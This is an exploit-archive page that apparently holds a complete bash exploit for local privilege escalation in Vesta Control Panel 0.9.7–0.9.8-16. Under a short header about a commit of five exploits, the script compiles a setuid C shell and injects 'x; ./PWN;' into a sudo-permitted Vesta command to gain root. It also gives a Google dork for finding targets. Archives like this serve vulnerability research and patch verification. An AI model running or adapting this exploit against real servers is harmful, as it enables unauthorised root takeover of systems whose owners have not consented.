7b676133d3
5 changes to exploits/shellcodes Vesta Control Panel 0.9.8-16 - Local Privilege Escalation RM Downloader 3.1.3.2.2010.06.13 - 'Load' Buffer Overflow (SEH) Edimax EW-7438RPn - Information Disclosure (WiFi Password) Edimax EW-7438RPn - Cross-Site Request Forgery (MAC Filtering) Mahara 19.10.2 CMS - Persistent Cross-Site Scripting
48 lines
No EOL
1.6 KiB
Bash
Executable file
48 lines
No EOL
1.6 KiB
Bash
Executable file
#!/bin/bash
|
|
#
|
|
# Exploit Title: Vesta Control Panel 0.9.7 <= 0.9.8-16 Local Privilege Escalation Exploit
|
|
# Google Dork: vesta control panel inurl:8083
|
|
# Exploit Author: Jaka Hudoklin @offlinehacker
|
|
# Vendor Homepage: http://vestacp.com/
|
|
# Software Link: https://github.com/serghey-rodin/vesta
|
|
# Version: 0.9.7 - 0.9.8-16
|
|
#
|
|
# Description:
|
|
# Vesta CP default install script adds /usr/local/vesta/bin/ directory into
|
|
# /etc/sudoers.d with the NOPASSWD option for the default "admin" user. All
|
|
# programs in /usr/local/vesta/bin/ directory can therefore be run as root. A
|
|
# command injection vulnerability in "v-get-web-domain-value" script can be
|
|
# exploited to run arbitrary commands and escalate from admin user to root.
|
|
#
|
|
# Vulnerability:
|
|
# Parameter $3 (key) in v-get-web-domain-value is not properly sanitized before
|
|
# being passed to bash eval.
|
|
#
|
|
#
|
|
|
|
# Navigate to a writeable directory, usually /tmp.
|
|
cd /tmp
|
|
|
|
# Write a simple C suid shell to suid.c.
|
|
cat > suid.c << _EOF
|
|
int main(void) {
|
|
setgid(0); setuid(0);
|
|
execl("/bin/sh","sh",0); }
|
|
_EOF
|
|
|
|
# Compile suid shell with gcc.
|
|
# [!] If there is no gcc on the system deploy a precompiled binary manually.
|
|
gcc suid.c -o suid
|
|
|
|
# Create a shell script called PWN that will be run as root.
|
|
# PWN will weaponize ./suid with executable permissions and suid bit.
|
|
echo "chown root:root suid; chmod 777 suid; chmod +s suid;" > PWN
|
|
|
|
# Make PWN shell script executable.
|
|
chmod +x PWN
|
|
|
|
# Inject command to run PWN into v-get-web-domain-value parameter $3.
|
|
sudo /usr/local/vesta/bin/v-get-web-domain-value 'admin' 'domain.com' 'x; ./PWN;'
|
|
|
|
# Spawn the root shell.
|
|
./suid |